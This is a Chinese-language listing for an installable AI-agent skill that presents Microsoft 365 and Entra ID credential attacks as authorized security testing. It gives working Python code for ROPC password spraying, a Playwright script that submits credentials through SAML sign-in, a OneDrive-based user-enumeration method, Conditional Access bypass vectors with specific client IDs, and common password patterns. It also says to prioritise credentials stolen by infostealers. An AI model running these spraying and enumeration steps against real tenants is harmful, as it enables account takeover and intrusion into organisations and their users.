关于 m365-entra-attack
m365-entra-attack 是用于 Microsoft 365 和 Entra ID 授权评估的安全测试技能,结合租户发现、谨慎的凭据验证和 Conditional Access 分析,并说明如何解读认证结果。
主要功能
- 01发现 Microsoft 365 和 Entra 租户
- 02解读 AADSTS 响应
- 03密码尝试与锁定防护
- 04利用 OneDrive 信号判断用户和账户类型
- 05分析 Conditional Access 与 SAML 流程
适用场景
- 01梳理企业域名关联的 Entra 租户
- 02在控制账户锁定风险的同时验证凭据
- 03识别被 MFA 或 Conditional Access 阻止的有效密码
- 04根据发现信号筛查可能的功能账户
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill m365-entra-attack安装后在 Claude Code 中输入/m365-entra-attack确认已加载。
详细介绍
适用场景
在以下情况触发:
- 目标使用 M365 / Entra ID(autodiscover.* 记录、重定向到 login.microsoftonline.com,或技术栈备注中提到“Microsoft Office 365”)
- 你有企业邮箱列表或从窃密程序泄露的凭据
- 参与的任务涉及“凭据喷洒”、“密码喷洒”、“Entra 攻击”或“通过 M365 实施账户接管”
- 你在侦察中发现
*.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.* - 客户提到“条件访问”、“绕过 MFA”或“合规设备”
不要用于:
- 仅限本地部署的 Active Directory(使用单独的 AD 攻击技能)
- 服务到服务的令牌攻击(威胁模型不同)
- 必须通过钓鱼实施的攻击链(由钓鱼技能涵盖)——但你可以在此处为凭据验证步骤做准备
租户发现(msftrecon)
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example
输出中的关键字段:
- 租户 ID(不同域名可能共用同一租户,也可能各自拥有独立租户——务必测试所有自有域名)
- Federation Information.Namespace Type =
Managed(仅云端,ROPC 可用)|Federated(ADFS,攻击方式不同) - SharePoint Detected(Yes = 可使用 OneDrive 枚举途径)
- Communication Services Teams/Skype(通过身份验证后的横向移动目标)
- Admin Consent Endpoint accessible(同意钓鱼攻击面)
**风险提示:**如果组织为关联域名配置了多个 Entra 租户,那么每个租户都是独立的攻击面,各自拥有用户列表、锁定策略和 CA 配置。不要假设一次密码喷洒可以覆盖所有租户。
AADSTS 代码参考(请记住)
| AADSTS | 含义 | 对锁定的影响 | 应对方式 |
|---|---|---|---|
| 50034 | 用户不存在 | 无 | 跳过;从喷洒列表中移除 |
| 50126 | 用户名或密码无效 | 失败尝试计数 +1 | 用户存在——稍后尝试其他密码(不超过上限) |
| 50053 | 账户已锁定(Smart Lockout) | 无(已锁定) | 先前已锁定 → 报告给 SOC;不要重试 |
| 53003 | CA 阻止令牌签发 | 失败尝试计数 +1 | 密码有效——停止,密码正确 |
| 50076 | 需要 MFA | 失败尝试计数 +1 | 密码有效——需要第二个因素 |
| 50079 | 需要强身份验证 | 失败尝试计数 +1 | 密码有效——与 50076 相同 |
| 50158 | 需要外部身份验证 | 失败尝试计数 +1 | 密码有效——联合身份验证 MFA |
| 530003 | 需要设备状态 | 失败尝试计数 +1 | 密码有效——需要合规设备 |
| 65001 | 需要同意 | 失败尝试计数 +1 | 应用同意问题,与身份验证无关 |
| 700016 | 应用不在租户中 | 无 | 用户属于其他租户——调整目标 |
| 90002 | 租户不存在 | 无 | 租户名称拼写错误 / 租户已失效 |
关键要点:{53003, 50076, 50079, 50158, 530003} 中的任意代码都表示密码正确——Microsoft 只会在凭据验证成功后返回这些代码。即使无法获取令牌,也应将其记录为已确认有效的发现。
Smart Lockout 计算(严格控制尝试上限)
Microsoft 默认策略:
- 10 分钟内登录失败 10 次 → 锁定 1 分钟
- 登录失败 20 次 → 锁定时间逐步延长(指数退避)
- 计数器在所有身份验证流程之间共享(ROPC + SAML + IMAP + EWS + SMTP + 设备代码)
任务执行规范:
- 硬性上限:每次任务中,每位用户最多尝试 2 个密码**(整个任务期间)**(有些任务限制为 1 次)
- 使用原子写入的状态文件——绝不能让两次测试运行同时更新计数器
- 终止开关:如果观察到超过 N 个 LOCKED 响应,立即停止运行(这可能表明已有攻击者活动,或者你计数错误;无论哪种情况都应暂停)
数学保证:每位用户只尝试 1 次,就不可能触发 Smart Lockout(1 < 10)。因此,你看到的任何 AADSTS50053 都是此前已发生的锁定 → 可将其用于检测正在活动的攻击者(参见 mid-engagement-ir-detection 技能)。
用户枚举——途径与加固状态(2026 年 5 月)
❌ 已加固(不再存在差异)
GET /getuserrealm.srf?login=<email>&xml=1
对于任何匹配租户自有域名的电子邮件地址,均返回相同的 XML。仅限租户级别,不限用户级别。
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
在没有有效会话的情况下返回 AADSTS1659001(缺少 flowToken)——无法枚举。
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
对于任何地址,均返回相同的 200 状态码和相同的 JSON 正文。约于 2024 年加固。
✅ 仍然有效(截至 2026 年 5 月——关注有效期)
OneDrive 个人站点差异:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
- 302 → 用户存在(重定向到 Authenticate.aspx,要求身份验证)
- 404 → 用户不存在(404 FILE NOT FOUND)
- 无需尝试身份验证 → 不影响账户锁定
- 额外发现:现有用户的
Sprequestduration标头更快(约 40 毫秒),而不存在的用户约为 600 毫秒——可作为辅助时序判断依据
注意事项:
- 仅当租户已配置 SharePoint 时有效(检查 msftrecon 的
SharePoint Detected: Yes) - Microsoft 会持续加固这些端点——依赖此方法前请重新验证
- Entra 中可能存在未配置 OneDrive 的用户(取决于许可证)——可能产生假阴性
2026-05-17 重新验证(授权安全评估复核): 截至 2026-05-17,OneDrive 枚举原语仍然有效。校准结果:已获许可的用户返回 HTTP 200,正文约为 57 KB;不存在的用户 / 共享邮箱账户返回 404,正文为 0 字节。不带 /_layouts/15/onedrive.aspx 的 /personal/ 根路径也会返回相同的差异。
关键用例:许可证差异 = 账户类别信号。 将 OneDrive 200/404 与 ROPC AADSTS50034/50126 交叉比对:
| OneDrive | ROPC | 分类 |
|---|---|---|
| 200 | AADSTS50076(要求 MFA)或 50126 | 已获许可的普通用户(真实员工,已强制实施 MFA) |
| 200 | AADSTS50034 | (不应发生——存在不一致,请调查) |
| 404 | AADSTS50126 | 共享邮箱 / 功能账户 / 服务账户(无 OneDrive 许可证,但有密码)——历史上免于 MFA 的类别,是尝试猜测密码的首要目标 |
| 404 | AADSTS50034 | 租户中不存在 |
| 404 | AADSTS50076 | 边缘情况(已强制实施 MFA 的功能账户——罕见) |
OneDrive-404 + ROPC-50126 组合是**“可能绕过 MFA 的功能账户”信号**——管理员经常在 CA 策略中豁免这些账户,因为它们用于无法满足 MFA 要求的自动化流程。在授权安全评估复核中发现了这一用途:识别出 noreply@、purchase@、accounts@、postmaster@、transport@ 是功能账户候选(在任何大型综合企业租户中都很常见)。
ROPC AADSTS50034 / AADSTS50126 差异:
- AADSTS50034(用户不存在)不会增加 Smart Lockout 计数器
- AADSTS50126(密码错误)会增加计数器
- 因此,每个用户尝试 1 次密码喷洒,可用作粗略的用户存在性枚举器(每个 AADSTS50034 表示未命中,每个 AADSTS50126 表示命中 + 消耗 1 次尝试)
条件式访问绕过选项(大多数已被拦截,但仍记录在此)
| 向量 | 状态(2026 年) | 说明 |
|---|---|---|
| 使用不同的 ROPC client_id(Microsoft Graph PowerShell、Azure CLI 或 Office) | 有时有效 | CA 可以按应用配置;尝试 1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office) |
| 使用不同的资源(graph.microsoft.com / outlook.office.com / management.azure.com) | 有时有效 | CA 范围可以按资源配置 |
| EWS / IMAP / POP3 / SMTP 基本身份验证 | 大多已禁用 | MS 已于 2022 年 10 月弃用基本身份验证;但存在按帐户设置的例外 |
| FOCI(客户端 ID 家族) | 令牌刷新路径 | 使用一个 FOCI 客户端的刷新令牌,为另一个客户端签发令牌 |
| 设备代码钓鱼 | 有效 | 需要用户交互(许多测试项目的范围之外) |
| 模拟合规设备 | 困难 | 需要注册 Intune 设备——成本高昂,通常没有内部人员协助就无法实现 |
| AiTM 会话 Cookie 窃取 | 有效(需钓鱼) | 当前主要技术——不在非钓鱼测试项目的范围内 |
| FOCI + 家族刷新令牌窃取 | 认证后 | 需要已经持有令牌 |
| 通过不同 SP 使用 SAML SSO | 有时有效 | 每个企业应用都有自己的 CA 策略;CA 较弱的应用可作为跳板 |
| 通过 VPN 绕过地理限制 | 有时有效 | 如果“受信任位置”CA 策略包含公司总部 IP,则使用该地的 VPN 出口节点 |
**本次测试的关键结论:**在采用通用 CA 策略(合规设备 + MFA)的租户中,以上所有路径都会以相同流程返回 AADSTS53003。凭据有效,但无法从外部使用。**通过钓鱼完成的 Cookie 窃取是唯一现实可行的攻击者路径。**请清晰记录这一点,以便客户了解威胁模型。
ROPC 密码验证(标准测试)
单次尝试验证器模式(Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}
⚠ 严重陷阱——AADSTS50076 响应正文包含字面字符串 "access_token"
当 CA 策略要求 MFA,而 ROPC 无法满足该要求时,Entra 会返回一个错误响应正文,其中包含列出 CA 策略 ID 的 claims 字段,用作升级验证挑战:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}
**"access_token" 子字符串会出现在 CA claims 挑战 JSON 中。**宽松的子字符串检查 if "access_token" in raw_body: 会将每次被 MFA 拦截的尝试都误判为成功签发令牌。
务必先解析 JSON,再检查 if "access_token" in parsed_dict:——绝不要对 OAuth 错误响应正文进行子字符串匹配。这个问题是在 2026-05-17 的授权测试复核中发现的:子字符串检查将 Sway/Yammer/Bookings/Tunnel client_id 的 7 次尝试误报为“CA 绕过”,而这些尝试实际上都正确执行了 MFA。
claims.access_token.capolids 中的值是租户内部的条件式访问策略 ID——可用于丰富侦察信息,但它们不是令牌。请在测试记录中将其记为“已触发的 CA 策略 ID”——这是防御方一侧的线索,并非攻击者一侧的成果。
请求频率:
- 每个 IP:≤30 req/sec 即可;Microsoft 能很好地承受
- 每个用户:状态文件中的硬上限是唯一需要关注的事项
- 随机抖动(每次尝试间隔 1-5 秒),以降低机器操作的特征
SAML SSO 浏览器流程(当 CA 阻止 ROPC 时,用于确定性验证凭据)
当 ROPC 返回 AADSTS53003 时,就已证明密码正确。要通过两种身份验证路径证明凭据有效(并截取 Microsoft 的 CA 拦截页面作为证据),请通过 Playwright 执行 SAML SSO:
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
context = await browser.new_context(ignore_https_errors=True)
page = await context.new_page()
# Step 1: navigate to SP
await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
# Step 2: click sign-in (selectors vary per SP)
for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
try:
await page.locator(sel).first.click(timeout=3000)
break
except: continue
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 3: submit username at Microsoft
await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 4: submit password
await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=30000)
# Step 5: capture
await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
content = await page.content()
cookies = await context.cookies()
await browser.close()
# Check outcome
low = content.lower()
if "convergedconditionalaccess" in low or "53003" in low:
return "CA_BLOCKED" # cred valid, CA wall
elif "verify your identity" in low or "approve sign in" in low:
return "MFA_REQUIRED" # cred valid, MFA wall
elif "we couldn't sign you in" in low or "wrong" in low:
return "INVALID"
elif "<post-auth-landing-marker>" in low or "dashboard" in low:
return "FULL_SUCCESS" # session obtained (replace marker per target app)
return "UNCLEAR"
Microsoft 的 ConvergedConditionalAccess 页面(源代码中的 PageID)是 CA 拦截的确凿证据。
通过锁定差异检测活跃攻击者
如果多个用户都出现 AADSTS50053(LOCKED),即使你对每位用户的尝试上限为 1 次:
- 这些锁定并非由你造成(计算:1 < 10)。
- 外部攻击者正在主动对租户进行密码喷洒攻击。
- 按字母顺序排列被锁定的用户——如果呈现聚集趋势,说明攻击者使用了排序后的用户名列表。
- 比较密码喷洒开始和结束时的锁定数量——会话期间新增的锁定 = 攻击者此刻仍在活动。
- 将被锁定的电子邮件列表记录为一项发现(SOC 可据此采取行动——他们会调取这些用户的登录日志)。
这是任何 M365 密码喷洒测试中影响最大的一项附带发现。务必持续跟踪并报告。
可用于密码喷洒的常见密码模式(多品牌企业目标)
<BrandName>@<Year>—<Brand>@2026、Tata@2026<BrandName>@123—<Brand>@123(非常常见)<PlantCity>@<Year>—<City1>@2026、<City2>@2026(生产工厂所在城市)<EmployeeID-as-password>— 旧版应用中很常见(PAN 号码、员工代码、电话号码末 4 位)Password@<year>、Welcome@<year>、Admin@<year>— 通用默认密码<BrandName>@<Y2-digits>—<Brand>@26
**测试注意事项:**如果客户提供了泄露凭据转储(窃取日志),请优先使用这些凭据。每条泄露凭据都占用该用户的一次尝试上限,用于测试已知的最强猜测。
测试日志记录(必须执行)
每次 M365 尝试都会记录到 JSONL:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
每用户跟踪器(原子操作):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
IP 轮换日志(按天记录):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
这三项材料是报告的交付证据。它们会作为状态保留到下一次测试。
真实发现模板(来自授权测试)
用于报告:
发现:261 个 Entra 账户处于此前已存在的锁定状态
- 对象:检测到活跃的外部密码喷洒攻击
- 证据:将
o365_results.jsonl筛选为status=LOCKED - 计算:每用户尝试 1 次 × 261 个 LOCKED ≠ 我们造成
- SOC 行动:调取这些账户过去 30-60 天的登录日志
发现:有效的 M365 凭据 — <user>:<password>(被 CA 阻止)
- 对象:已确认凭据有效
- 证据:ROPC AADSTS53003 + SAML SSO
ConvergedConditionalAccess页面截图 - Microsoft 文档摘录:“仅在密码验证通过后才会返回 AADSTS53003”
- 建议:强制重置密码,并在全组织范围内审查类似模式
反面做法(不要这样做)
- 不要在多个资源上为同一用户重复使用泄露的凭据——如果 CA 阻止所有路径,这只会耗尽尝试上限,不会带来额外收益
- 不要在出现 AADSTS50053 后重试——账户已锁定,只会再次看到锁定状态
- 不要以超过约 30 次/秒的速率向 login.microsoftonline.com 进行密码喷洒——持续的凭据填充模式可能导致 Microsoft 标记该 IP
- 不要忘记测试所有 Entra 租户——关联域名通常有独立的租户,密码策略也不同
- 不要撤回 CA 阻止这一发现——AADSTS53003 表示密码正确;这正是要点
工具
pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD command-line toolkit for general recon
预先构建的 m365_validator.py 模板位于测试工作目录 engagement_log/m365_validator.py。请根据测试需求调整 attempt() 函数。
验证
- Entra ID 端点探测 — 确认已知端点:
curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/common/.well-known/openid-configuration" | grep -q "token_endpoint" && echo "PASS" || echo "FAIL" - 租户发现 — 确认租户解析:
curl --max-time 30 --connect-timeout 10 -s "https://login.microsoftonline.com/example.com/.well-known/openid-configuration" -o /dev/null -w "HTTP %{http_code}" && echo " PASS" || echo " FAIL"
所有测试都会验证 M365/Entra 是否就绪。
陷阱
- 凭据喷洒时未考虑锁定机制 — Entra ID 具有智能锁定功能。不了解锁定阈值就进行喷洒,会触发账户锁定和警报。
- 设备代码流钓鱼 — 用户必须在
microsoft.com/devicelogin输入代码。如果没有证据表明受害者进行了交互,这就只是理论上的攻击。 - 混淆托管域与联合域 — 托管域直接通过 Entra ID 进行身份验证;联合域则转到本地 ADFS。两者的攻击面不同。
- 枚举来宾用户 — B2B 来宾邀请者权限可能用于枚举外部用户。应测试特定的来宾邀请者角色,而不只是任意已通过身份验证的用户。
- OAuth 应用同意钓鱼(非法授予同意) — 用户必须在同意屏幕上点击“接受”。如果没有证据表明用户进行了同意,这就只是理论上的攻击。
- 绕过条件访问 — 如果策略要求 MFA,请测试能否通过旧式身份验证、应用密码或基于设备的例外绕过 MFA 提示。
相关技能与攻击链
hunt-mfa-bypass— AADSTS50053(账户锁定)、AADSTS50126(密码错误)和 AADSTS50076(需要 MFA)可作为免费的因子存在性预言机。攻击链原语:观察到 M365 AADSTS50053 锁定差异 → 用户已启用 MFA,但旧式身份验证未受 CA 执行策略约束 → 使用hunt-mfa-bypass探测因子(SMS 备用验证、语音备用验证、OAuth 设备代码流、针对旧式端点的 ROPC)→ 通过旧式协议路径绕过条件访问。hunt-ntlm-info— 本地 NTLM 拓扑泄露信息可为 Entra 喷洒提供线索。攻击链原语:SharePoint/Exchange/IIS 匿名 NTLM Type-2 → AV_PAIR 解码得到corp.example.com→m365-entra-attack通过 openid-configuration 解析 Entra 租户 → 使用真实可信的 UPN 格式进行 ROPC 喷洒。okta-attack— 混合组织会将 Okta 作为 IdP 联合到 Entra。攻击链原语:M365getuserrealm返回指向*.okta.com的NameSpaceType: Federated和 AuthURL → 转向okta-attack枚举租户 → Okta 账户接管 → 向 Entra 提交 SAML 断言 → 完全访问 M365。hunt-saml— 联合租户接受已签名的 SAML 断言;针对联合 IdP 的 XSW 或签名剥离可完全绕过 Entra 的控制。攻击链原语:getuserrealm揭示联合身份验证 → 对 IdP 进行指纹识别(ADFS / Okta / PingFederate)→ 针对 IdP 的/adfs/ls/或等效端点执行hunt-samlXSW1-XSW8 → 伪造断言 → Entra 授予访问权限。redteam-report-template— M365 发现需要清楚说明租户、用户和 CA 策略,因为其影响范围是“组织使用的每一项 Microsoft 服务”。攻击链原语:通过此技能验证的发现 → 使用triage-validation7-Question Gate 进行处理 → 通过redteam-report-template打包,并明确说明影响范围(哪些应用、哪些用户、哪些数据),以便交付客户。password-spray-methodology— 适用于所有协议的通用密码喷洒流程 + 错误代码差异